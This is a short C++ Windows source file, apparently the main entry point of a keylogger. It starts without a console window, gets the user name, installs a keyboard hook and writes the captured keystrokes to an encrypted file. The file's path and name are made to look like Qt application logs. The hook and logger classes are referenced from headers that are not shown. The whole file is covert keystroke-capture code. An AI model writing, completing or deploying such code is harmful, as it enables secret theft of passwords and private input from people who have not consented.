//#include "FileLogger.h"
#include "EncryptedFileLogger.h"
#include "KeyboardHook.h"
#include <lmcons.h>

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
	TCHAR username[UNLEN + 1] = { 0 };
	DWORD size = UNLEN + 1;
	GetUserName(username, &size);
	TCHAR filename[MAX_PATH];
	//_stprintf_s(filename, TEXT("D:/Qt-GUI/Applications/ESY/Standard/CFrame/logs/qt_%s.log"), username);
	//FileLogger logger(filename);
	_stprintf_s(filename, TEXT("D:/Qt-GUI/Applications/ESY/Standard/CFrame/logs/qt_%s.bin"), username);
	EncryptedFileLogger logger(filename);

	KeyboardHook hook(&logger);

	hook.hookIt();
	//hook.endlessQuery();

	return 0;
}
